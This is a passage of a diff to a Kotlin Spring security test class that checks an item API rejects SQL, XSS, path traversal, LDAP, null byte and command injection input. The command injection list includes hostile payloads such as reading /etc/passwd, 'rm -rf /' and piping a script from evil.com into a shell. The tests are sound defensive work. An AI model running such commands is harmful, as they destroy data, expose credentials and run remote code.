+ mockMvc + .perform(get("/api/items/$payload")) + .andReturn() val status = result.response.status assertTrue( status == 400 || status == 404, - "Should reject SQL injection payload: $payload (got status: $status)" + "Should reject SQL injection payload: $payload (got status: $status)", ) } } @@ -58,42 +61,45 @@ class InputValidationSecurityTest { @Test fun `should reject XSS attempts in item creation`() { // XSS攻撃の試行を拒否 - val xssPayloads = listOf( - "", - "", - "", - "javascript:alert('XSS')", - "", - "", - "';alert(String.fromCharCode(88,83,83))//", - "", - "" - ) + val xssPayloads = + listOf( + "", + "", + "", + "javascript:alert('XSS')", + "", + "", + "';alert(String.fromCharCode(88,83,83))//", + "", + "", + ) xssPayloads.forEach { payload -> - val item = mapOf( - "barcode" to "TEST001", - "name" to payload, - "price" to 100 - ) + val item = + mapOf( + "barcode" to "TEST001", + "name" to payload, + "price" to 100, + ) - val result = mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(item)) - ) - .andReturn() + val result = + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(item)), + ).andReturn() val response = result.response.contentAsString // スクリプトタグが含まれていないことを確認 assertFalse( response.contains(" - val result = mockMvc.perform(get("/api/items/$payload")) - .andReturn() + val result = + mockMvc + .perform(get("/api/items/$payload")) + .andReturn() val status = result.response.status assertTrue( status == 400 || status == 404, - "Should reject path traversal payload: $payload (got status: $status)" + "Should reject path traversal payload: $payload (got status: $status)", ) } } @@ -126,52 +135,55 @@ class InputValidationSecurityTest { @Test fun `should reject command injection attempts`() { // コマンドインジェクション攻撃を拒否 - val commandInjectionPayloads = listOf( - "; ls -la", - "| cat /etc/passwd", - "&& rm -rf /", - "`cat /etc/passwd`", - "\$(cat /etc/passwd)", - "; shutdown -h now", - "| net user hacker password /add", - "&& curl http://evil.com/shell.sh | sh" - ) + val commandInjectionPayloads = + listOf( + "; ls -la", + "| cat /etc/passwd", + "&& rm -rf /", + "`cat /etc/passwd`", + "\$(cat /etc/passwd)", + "; shutdown -h now", + "| net user hacker password /add", + "&& curl http://evil.com/shell.sh | sh", + ) commandInjectionPayloads.forEach { payload -> - val item = mapOf( - "barcode" to payload, - "name" to "Test Item", - "price" to 100 - ) + val item = + mapOf( + "barcode" to payload, + "name" to "Test Item", + "price" to 100, + ) - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(item)) - ) - .andExpect(status().isBadRequest()) + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(item)), + ).andExpect(status().isBadRequest()) } } @Test fun `should reject LDAP injection attempts`() { // LDAPインジェクション攻撃を拒否 - val ldapInjectionPayloads = listOf( - "*)(uid=*))(|(uid=*", - "*)(objectClass=*", - "admin*)(|(objectclass=*", - "*)(mail=*", - "*)(&", - "*)(|(password=*", - "*()|%26'" - ) + val ldapInjectionPayloads = + listOf( + "*)(uid=*))(|(uid=*", + "*)(objectClass=*", + "admin*)(|(objectclass=*", + "*)(mail=*", + "*)(&", + "*)(|(password=*", + "*()|%26'", + ) ldapInjectionPayloads.forEach { payload -> - mockMvc.perform( - get("/api/staff/search") - .param("name", payload) - ) - .andExpect { result -> + mockMvc + .perform( + get("/api/staff/search") + .param("name", payload), + ).andExpect { result -> val status = result.response.status assertTrue(status == 200 || status == 400) } @@ -183,50 +195,55 @@ class InputValidationSecurityTest { // 入力長制限を強制 val longString = "A".repeat(10000) - val oversizedItem = mapOf( - "barcode" to longString, - "name" to longString, - "price" to 100 - ) - - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(oversizedItem)) - ) - .andExpect(status().isBadRequest()) + val oversizedItem = + mapOf( + "barcode" to longString, + "name" to longString, + "price" to 100, + ) + + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(oversizedItem)), + ).andExpect(status().isBadRequest()) } @Test fun `should validate numeric input ranges`() { // 数値入力範囲を検証 - val invalidPrices = listOf( - Int.MIN_VALUE, - -1, - 0, - Int.MAX_VALUE, - 999999999 - ) + val invalidPrices = + listOf( + Int.MIN_VALUE, + -1, + 0, + Int.MAX_VALUE, + 999999999, + ) invalidPrices.forEach { price -> - val item = mapOf( - "barcode" to "TEST001", - "name" to "Test Item", - "price" to price - ) + val item = + mapOf( + "barcode" to "TEST001", + "name" to "Test Item", + "price" to price, + ) - val result = mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(item)) - ) - .andReturn() + val result = + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(item)), + ).andReturn() // 負の価格や極端な値は拒否されるべき if (price < 0 || price > 1000000) { assertEquals( - 400, result.response.status, - "Should reject invalid price: $price" + 400, + result.response.status, + "Should reject invalid price: $price", ) } } @@ -235,15 +252,17 @@ class InputValidationSecurityTest { @Test fun `should reject null byte injection`() { // Nullバイトインジェクションを拒否 - val nullBytePayloads = listOf( - "test\u0000.txt", - "test%00.txt", - "test\\u0000.txt", - "file.jpg\u0000.txt" - ) + val nullBytePayloads = + listOf( + "test\u0000.txt", + "test%00.txt", + "test\\u0000.txt", + "file.jpg\u0000.txt", + ) nullBytePayloads.forEach { payload -> - mockMvc.perform(get("/api/items/$payload")) + mockMvc + .perform(get("/api/items/$payload")) .andExpect(status().is4xxClientError()) } } @@ -251,27 +270,29 @@ class InputValidationSecurityTest { @Test fun `should handle unicode and emoji attacks`() { // Unicode and emoji attacks - val unicodePayloads = listOf( - "test\u202e\u0074\u0078\u0074", // Right-to-left override - "test\ufeff", // Zero-width no-break space - "😈😈", - "\u0000\u0001\u0002\u0003", // Control characters - "test\u200b\u200c\u200d" // Zero-width characters - ) + val unicodePayloads = + listOf( + "test\u202e\u0074\u0078\u0074", // Right-to-left override + "test\ufeff", // Zero-width no-break space + "😈😈", + "\u0000\u0001\u0002\u0003", // Control characters + "test\u200b\u200c\u200d", // Zero-width characters + ) unicodePayloads.forEach { payload -> - val item = mapOf( - "barcode" to "TEST001", - "name" to payload, - "price" to 100 - ) + val item = + mapOf( + "barcode" to "TEST001", + "name" to payload, + "price" to 100, + ) - mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(item)) - ) - .andExpect { result -> + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(item)), + ).andExpect { result -> val status = result.response.status assertTrue(status == 201 || status == 400) } @@ -281,29 +302,31 @@ class InputValidationSecurityTest { @Test fun `should validate email format`() { // メールフォーマットの検証 - val invalidEmails = listOf( - "not_an_email", - "@example.com", - "user@", - "user@.com", - "user@@example.com", - "user@exam ple.com", - "", - "barcode" to "XSS001", - "price" to 100 - ) - - val result = mockMvc.perform( - post("/api/items") - .contentType(MediaType.APPLICATION_JSON) - .content(objectMapper.writeValueAsString(xssPayload)) - ) - .andReturn() + val xssPayload = + mapOf( + "name" to "", + "barcode" to "XSS001", + "price" to 100, + ) + + val result = + mockMvc + .perform( + post("/api/items") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(xssPayload)), + ).andReturn() val response = result.response.contentAsString assertFalse(response.contains("